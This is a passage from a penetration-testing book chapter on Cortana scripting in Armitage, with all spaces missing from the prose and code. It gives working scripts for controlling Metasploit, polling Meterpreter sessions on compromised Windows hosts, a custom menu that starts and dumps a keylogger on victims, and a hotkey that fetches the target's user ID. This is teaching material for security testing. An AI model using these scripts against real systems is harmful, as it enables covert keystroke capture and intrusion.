Aswecanclearlysee,Cortanamadepenetrationtestingveryeasyforusbyperformingtheoperationsautomatically.Inthenextfewsections,wewillseehowwecanautomatepost-exploitationandhandlefurtheroperationsofMetasploitwithCortana.

ControllingMetasploit

CortanacontrolsMetasploitfunctionsverywell.WecansendanycommandtoMetasploitusingCortana.Let'sseeanexamplescripttohelpustounderstandmoreaboutcontrollingMetasploitfunctionsfromCortana:

cmd_async("hosts");

cmd_async("services");

onconsole_hosts{

println("HostsintheDatabase");

println("$3");

}

onconsole_services{

println("ServicesintheDatabase");

println("$3");

}

Intheprecedingscript,thecmd_asynccommandsendsthehostsandservicescommandtoMetasploitandensuresthatitisexecuted.Inaddition,theconsole_*functionsareusedtoprinttheoutputofthecommandsentbycmd_async.Metasploitwillexecutethesecommands;however,forprintingtheoutput,weneedtodefinetheconsole_*function.Inaddition,$3istheargumentthatholdstheoutputofthecommandsexecutedbyMetasploit.

Assoonasweloadtheready.cnascript,let'sopentheCortanaconsoletoviewtheoutput:

Clearly,theoutputofthecommandsisshownintheprecedingscreenshot,whichconcludesourcurrentdiscussion.However,moreinformationonCortanascriptsandcontrollingMetasploitthroughArmitagecanbegainedathttp://www.fastandeasyhacking.com/download/cortana/cortana_tutorial.pdf.

Post-exploitationwithCortana

Post-exploitationwithCortanaisalsosimple.Cortana'sbuilt-infunctionscanmakepost-exploitationeasytotackle.Let'sunderstandthiswiththehelpofthefollowingexamplescript:

onheartbeat_15s{

local('$sid');

foreach$sid(session_ids()){

if(-iswinmeterpreter$sid&&-isready$sid){

m_cmd($sid,"getuid");

m_cmd($sid,"getpid");

onmeterpreter_getuid{

println("$3");

}

onmeterpreter_getpid{

println("$3");

}

}

}

}

Intheprecedingscript,weusedafunctionnamedheartbeat_15s.Thisfunctionrepeatsitsexecutionevery15seconds.Hence,itiscalledaheartbeatfunction.

Thelocalfunctionwilldenotethat$sidislocaltothecurrentfunction.Thenextforeachstatementisaloopthathopsovereveryopensession.TheifstatementwillcheckifthesessiontypeisaWindowsmeterpreterandifitisreadytointeractandacceptcommands.

Them_cmdfunctionsendsthecommandtothemeterpretersessionwithparameterssuchas$sid,whichisthesessionID,andthecommandtoexecute.Next,wedefineafunctionwithmeterpreter_*,where*denotesthecommandsenttothemeterpretersession.Thisfunctionwillprinttheoutputofthesentcommand,aswedidinthepreviousexerciseforconsole_hostsandconsole_services.

Let'sloadthisusingCORTANAscriptandanalyzetheresultsshowninthefollowingscreenshot:

Assoonasweloadthescript,itwilldisplaytheuserIDandthecurrentprocessIDofthetargetafterevery15seconds,asshowninthepreviousscreenshot.

Tip

Forfurtherinformationonpost-exploitation,scripts,andfunctionsinCortana,refertohttp://www.fastandeasyhacking.com/download/cortana/cortana_tutorial.pdf.

BuildingacustommenuinCortana

Cortanaalsodeliversanexceptionaloutputwhenitcomestobuildingcustompop-upmenusthatattachtoahostaftergettingthemeterpretersession,andothertypesofsessionaswell.Let'sbuildacustomkeyloggermenuwithCortanaandunderstanditsworkingsbyanalyzingthefollowingscript:

popupmeterpreter_bottom{

menu"&MyKeyLogger"{

item"&StartKeyLogger"{

m_cmd($1,"keyscan_start");

}

item"&StopKeyLogger"{

m_cmd($1,"keyscan_stop");

}

item"&ShowKeylogs"{

m_cmd($1,"keyscan_dump");

}

onmeterpreter_keyscan_start{

println("$3");

}

onmeterpreter_keyscan_stop{

println("$3");

}

onmeterpreter_keyscan_dump{

println("$3");

}

}

}

TheprecedingexampleshowsthecreationofapopupintheMeterpretersub-menu.However,thispopupwillonlybeavailableifweareabletoexploitthetargethostandgetameterpretershellsuccessfully.

Thepopupkeywordwilldenotethecreationofapopup.Themeterpreter_bottomfunctionwilldenotethatArmitagewilldisplaythismenuatthebottom,wheneverauserright-clicksonanexploitedhostandchoosestheMeterpreteroption.Theitemkeywordspecifiesvariousitemsinthemenu.Them_cmdcommandisthecommandthatwillactuallysendthemeterpretercommandstoMetasploitwiththeirrespectivesessionIDs.

Therefore,intheprecedingscript,wehavethreeitems:StartKeyLogger,Stop

KeyLogger,andShowKeylogs.Theyareusedtostartkeylogging,stopkeylogging,anddisplaythedatathatispresentinthelogs,respectively.Wehavealsodeclaredthreefunctionsthatwillhandletheoutputofthecommandssenttothemeterpreter.Let'snowloadthisscriptintoCortana,exploitthehost,andright-clickonthecompromisedhost,whichwillpresentuswiththefollowingmenu:

Wecanseethatwheneverweright-clickonanexploitedhostandbrowsetotheMeterpretermenu,wewillseeanewmenunamedMyKeyLoggerlistedatthebottomofallthemenus.Thismenuwillcontainalltheitemsthatwedeclaredinthescript.Wheneverweselectanoptionfromthismenu,thecorrespondingcommandrunsanddisplaysitsoutputontheCortanaconsole.Let'sselectthefirstoption,StartKeyLogger.Waitforfewsecondsforthetargettotypesomethingandclickonthethirdoption,ShowKeylogs,fromthemenu,asshowninthefollowingscreenshot:

AfterweclickontheShowKeylogsoption,wewillseethecharacterstypedbythepersonworkingonthecompromisedhostintheCortanaconsole,asshowninthefollowingscreenshot:

Workingwithinterfaces

Cortanaalsoprovidesaflexibleapproachwhileworkingwithinterfaces.Cortanaprovidesoptionsandfunctionstocreateshortcuts,tables,switchingtabs,andvariousotheroperations.Supposewewanttoaddacustomfunctionality,suchaswhenwepresstheF1keyfromthekeyboard,CortanadisplaystheUIDofthetargethost.Let'sseeanexampleofascriptthatwillenableustoachievethisfeature:

bindF1{

$sid="3";

spawn(&gu,\$sid);

}

subgu{

m_cmd($sid,"getuid");

onmeterpreter_getuid{

show_message("$3");

}

}

Theprecedingscriptwilladdashortcutkey,F1,thatwilldisplaytheUIDofthetargetsystemwhenpressed.ThebindkeywordinthescriptdenotesbindingoffunctionalitywiththeF1key.Next,wedefinethevalueofthe$sidvariableas3(thisisthevalueofthesessionIDwithwhichwe'llinteract).

ThespawnfunctionwillcreateanewinstanceofCortana,executethegufunction,andinstallthevalue$sidtotheglobalscopeofthenewinstance.Thegufunctionwillsendthegetuidcommandtothemeterpreter.Themeterpreter_getuidcommandwillhandletheoutputofthegetuidcommand.

Theshow_messagecommandwillpopupamessagedisplayingtheoutputfromthegetuidcommand.Let'snowloadthescriptintoArmitageandpresstheF1keytocheckandseeifourcurrentscriptexecutescorrectly:

Bang!WegottheUIDofthetargetsystemeasily,whichisWIN-SWIKKOTKSHX\mm.ThisconcludesourdiscussiononCortanascriptingusingArmitage.

Tip

ForfurtherinformationaboutCortanascriptinganditsvariousfunctions,refertohttp://www.fastandeasyhacking.com/download/cortana/cortana_tutorial.pdf.

SummaryInthischapter,wehadagoodlookatArmitageanditsvariousfeatures.Wekickedoffbylookingattheinterfaceandbuildingupworkspaces.WealsosawhowwecouldexploitahostwithArmitage.Welookedatremoteaswellasclient-sideexploitationandpost-exploitation.Furthermore,wejumpedintoCortanaandlearnedaboutitsfundamentals,usingittocontrolMetasploit,writingpost-exploitationscripts,custommenus,andinterfacesaswell.

FurtherreadingInthisbook,wehavecoveredMetasploitandvariousotherrelatedsubjectsinapracticalway.Wecoveredexploitdevelopment,moduledevelopment,portingexploitsinMetasploit,client-sideattacks,speedinguppenetrationtesting,Armitage,andtestingservices.Wealsohadalookatthefundamentalsofassemblylanguage,Rubyprogramming,andCortanascripting.

Onceyouhavereadthisbook,youmayfindthefollowingresourcesprovidefurtherdetailsonthesetopics:

ForlearningRubyprogramming,refertohttp://ruby-doc.com/docs/ProgrammingRuby/Forassemblyprogramming,refertohttps://courses.engr.illinois.edu/ece390/books/artofasm/artofasm.htmlForexploitdevelopment,refertohttp://www.corelan.beForMetasploitdevelopment,refertohttp://dev.metasploit.com/redmine/projects/framework/wiki/DeveloperGuideForSCADA-basedexploitation,refertohttp://www.scadahacker.comForin-depthattackdocumentationonMetasploit,refertohttp://www.offensive-security.com/metasploit-unleashed/Main_PageFormoreinformationonCortanascripting,refertohttp://www.fastandeasyhacking.com/download/cortana/cortana_tutorial.pdfForCortanascriptresources,refertohttps://github.com/rsmudge/cortana-scripts